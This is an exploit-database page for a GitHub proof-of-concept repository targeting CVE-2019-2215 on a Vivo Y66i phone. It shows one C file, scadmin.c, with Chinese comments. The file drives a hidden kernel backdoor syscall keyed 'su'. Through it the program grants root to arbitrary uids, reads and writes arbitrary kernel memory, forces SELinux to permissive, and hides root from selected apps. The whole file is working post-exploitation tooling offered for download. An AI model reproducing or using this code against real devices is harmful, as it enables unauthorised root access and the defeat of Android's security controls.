Exploit database

GH-ced46422045980b66bac7722582b6d48

wjnkac/cve-2019-2215-vivo-y66i

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-2215

37 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files9
wjnkac/cve-2019-2215-vivo-y66iRevision 54b4fa98e759

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main/src/tools/kptools/scadmin.c

C · 5,907 bytes
/* scadmin.c —— kpscall12 的 uid 授权管理 CLI + 可见性验证
 * 用法(一般要用 rootsh 起,drop 子命令需要 root):
 *   scadmin hello
 *   scadmin buildtime
 *   scadmin setmanager <uid>
 *   scadmin grant <uid>
 *   scadmin revoke <uid>
 *   scadmin nums / list
 *   scadmin drop <uid> hello          # setuid 到指定 uid 后发 HELLO,验证不可见
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <sys/syscall.h>

#define SC_VER(c) ((long)((0ULL << 32) | (0x1158ULL << 16) | (unsigned)(c)))
#define C_HELLO     0x1000
#define C_BUILDTIME 0x1007
#define C_SETMGR    0x1ff1
#define C_GRANT     0x1100
#define C_REVOKE    0x1101
#define C_NUMS      0x1102
#define C_LIST      0x1103

struct su_profile { uint32_t uid, to_uid; char scontext[0x60]; };

static const char *key = "su";

static void show(const char *what, long r)
{
	if (r == -1) printf("  %-12s r=-1 errno=%d(%s)\n", what, errno, strerror(errno));
	else         printf("  %-12s r=%ld (0x%lx)  ready=%s\n", what, r, r,
	                    r == 0x11581158L ? "YES" : "no");
}

int main(int argc, char **argv)
{
	char buf[128];
	long r;

	if (argc >= 2 && !strcmp(argv[1], "drop")) {

		if (argc < 3) { fprintf(stderr, "usage: scadmin drop <uid> <cmd>\n"); return 2; }
		if (setuid((uid_t)atoi(argv[2])) != 0) { perror("setuid"); return 3; }
		printf("  dropped to uid=%d\n", getuid());
		/* 递归调用自身执行其余命令 */
		argv += 2;
		/* 简化:drop 只支持 hello/buildtime */
		if (!strcmp(argv[1], "hello")) { r = syscall(45L, key, SC_VER(C_HELLO)); show("HELLO", r); return 0; }
		memset(buf, 0, sizeof(buf));
		r = syscall(45L, key, SC_VER(C_BUILDTIME), buf, (long)sizeof(buf));
		printf("  BUILD_TIME r=%ld buf=[%s]\n", r, buf);
		return 0;
	}

	printf("uid=%d euid=%d\n", getuid(), geteuid());
	if (argc < 2) { fprintf(stderr, "need cmd\n"); return 2; }

	if (!strcmp(argv[1], "hello")) {
		r = syscall(45L, key, SC_VER(C_HELLO)); show("HELLO", r); return 0;
	}
	if (!strcmp(argv[1], "buildtime")) {
		memset(buf, 0, sizeof(buf));
		r = syscall(45L, key, SC_VER(C_BUILDTIME), buf, (long)sizeof(buf));
		printf("  BUILD_TIME r=%ld errno=%d buf=[%s]\n", r, errno, buf); return 0;
	}
	if (!strcmp(argv[1], "setmanager") && argc > 2) {
		r = syscall(45L, key, SC_VER(C_SETMGR), (long)atoi(argv[2]), 0L);
		show("SETMANAGER", r); return 0;
	}
	/* ★ r64 / w64(0x1ff2 / 0x1ff3):3.6 节追加 ——
	 *   这两个命令**旧二进制里有、源码里却漏了**(2026-11-10 重编时踩到:
	 *   用旧源码编出来的 scadmin 报 "unknown cmd: r64",直接导致 03 的
	 *   cover_one 回读判据全线失效)。输出格式必须保持 `= <hex>`,
	 *   因为 03.apatch.sh 的 rd64() 用 `grep -oE '= [0-9a-f]+'` 解析。 */
	if (!strcmp(argv[1], "r64") && argc > 2) {
		/* ★ 内核语义:a2 就是**地址本身**(`kp = (u64*)a2; return *kp;`),
		 *   读到的值直接作为 syscall 返回值,不写用户缓冲。
		 *   踩过的坑:早前误传 `&v`,内核把用户栈地址当内核地址解引用 ⇒ 回来恒 0。 */
		unsigned long long a = strtoull(argv[2], NULL, 0);
		errno = 0;
		long rc = syscall(45L, key, SC_VER(0x1ff2), (long)a, 0L);
		if (rc == -1 && errno) {
			printf("  R64 [%016llx] = <err %d>\n", a, errno);
			return 1;
		}
		printf("  R64 [%016llx] = %016llx\n", a, (unsigned long long)rc);
		return 0;
	}
	if (!strcmp(argv[1], "w64") && argc > 3) {
		unsigned long long a = strtoull(argv[2], NULL, 0), v = strtoull(argv[3], NULL, 0);
		long rc = syscall(45L, key, SC_VER(0x1ff3), (long)a, (long)v);
		printf("  W64 [%016llx] <- %016llx (rc=%ld)\n", a, v, rc);
		return 0;
	}
	/* ★ 内核态直写 selinux_enforcing(0x1113):Enforcing 下也能立刻关回 Permissive。
	 *   不依赖 probe_rw,因此不受「同 boot 反复调用疲劳」影响(§60.2)。 */
	if (!strcmp(argv[1], "setenforce") && argc > 2) {
		r = syscall(45L, key, SC_VER(0x1113), (long)atoi(argv[2]), 0L);
		show("SETENFORCE", r); return 0;
	}
	if (!strcmp(argv[1], "grant") && argc > 2) {
		struct su_profile p; int i;
		memset(&p, 0, sizeof(p));
		p.uid = (uint32_t)atoi(argv[2]); p.to_uid = 0;
		for (i = 0; i < 0x60; i++) p.scontext[i] = 0;
		r = syscall(45L, key, SC_VER(C_GRANT), (long)&p, 0L);
		show("GRANT", r); return 0;
	}
	if (!strcmp(argv[1], "revoke") && argc > 2) {
		r = syscall(45L, key, SC_VER(C_REVOKE), (long)atoi(argv[2]), 0L);
		show("REVOKE", r); return 0;
	}
	if (!strcmp(argv[1], "getexclude") && argc > 2) {
		int e = 0;
		r = syscall(45L, key, SC_VER(0x1042), 1L, (long)atoi(argv[2]), (long)&e, 4L);
		printf("  GETEXCLUDE r=%ld errno=%d exclude=%d\n", r, r == -1 ? errno : 0, e);
		return 0;
	}
	if (!strcmp(argv[1], "setexclude") && argc > 3) {
		int e = atoi(argv[3]);
		long u = (long)atoi(argv[2]);
		if (e) r = syscall(45L, key, SC_VER(0x1041), 1L, u, (long)&e, 4L);
		else   r = syscall(45L, key, SC_VER(0x1044), 1L, u, 0L, 0L);
		show(e ? "SETEXCL(1)" : "SETEXCL(0)", r); return 0;
	}
	if (!strcmp(argv[1], "getpath")) {
		char pb[128];
		memset(pb, 0, sizeof(pb));
		r = syscall(45L, key, SC_VER(0x1110), (long)pb, (long)sizeof(pb));
		printf("  GETPATH r=%ld path=[%s]\n", r, pb); return 0;
	}
	if (!strcmp(argv[1], "setpath") && argc > 2) {
		r = syscall(45L, key, SC_VER(0x1111), (long)argv[2], 0L);
		show("SETPATH", r); return 0;
	}
	if (!strcmp(argv[1], "nums")) {
		r = syscall(45L, key, SC_VER(C_NUMS)); show("NUMS", r); return 0;
	}
	if (!strcmp(argv[1], "list")) {
		uint32_t uids[32]; int i, n;
		memset(uids, 0, sizeof(uids));
		r = syscall(45L, key, SC_VER(C_LIST), (long)uids, 32L);
		printf("  LIST r=%ld:", r);
		n = (r > 0 && r < 32) ? (int)r : 0;
		for (i = 0; i < n; i++) printf(" %u", uids[i]);
		printf("\n"); return 0;
	}
	fprintf(stderr, "unknown cmd: %s\n", argv[1]);
	return 2;
}